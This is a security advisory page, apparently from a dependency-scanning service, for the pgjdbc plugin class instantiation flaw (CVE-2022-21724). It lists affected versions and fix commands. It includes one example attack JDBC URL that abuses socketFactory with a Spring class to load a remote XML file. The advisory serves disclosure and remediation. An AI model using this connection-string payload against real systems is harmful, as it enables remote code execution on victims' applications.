pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
Published 2 Feb 2022 · Updated 10 Sept 2026
Is your project on an affected org.postgresql:postgresql?
Look after several Java apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected packages
- Affected
- >=9.4.1208 <42.2.25
- Fixed in
- 42.2.25
mvn versions:use-dep-version -Dincludes=org.postgresql:postgresql -DdepVersion=42.2.25 -DforceVersion=true- Affected
- >=42.3.0 <42.3.2
- Fixed in
- 42.3.2
mvn versions:use-dep-version -Dincludes=org.postgresql:postgresql -DdepVersion=42.3.2 -DforceVersion=trueDetails
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
Is GHSA-v7wg-cpwc-24m4 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected org.postgresql:postgresql, and gives you the command that fixes it.
More advisories for org.postgresql:postgresql
- HighCVE-2026-54291PostgreSQL JDBC Driver: Silent channel-binding authentication downgrade via unsupported certificate algorithms · 21 Jul 2026
- HighCVE-2026-42198pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS · 5 May 2026
- HighCVE-2025-49146pgjdbc Client Allows Fallback to Insecure Authentication Despite channelBinding=require Configuration · 11 Jun 2025
- CriticalCVE-2024-1597org.postgresql:postgresql vulnerable to SQL Injection via line comment generation · 21 Feb 2024
- MediumCVE-2022-41946TemporaryFolder on unix-like systems does not limit access to created files · 23 Nov 2022
- HighCVE-2022-31197PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names · 6 Aug 2022
References
- Linkgithub.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4
- Advisorynvd.nist.gov/vuln/detail/CVE-2022-21724
- Linkgithub.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813
- Packagegithub.com/pgjdbc/pgjdbc
- Linklists.debian.org/debian-lts-announce/2022/05/msg00027.html
- Linklists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS
- Linksecurity.netapp.com/advisory/ntap-20220311-0005
- Linkwww.debian.org/security/2022/dsa-5196
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.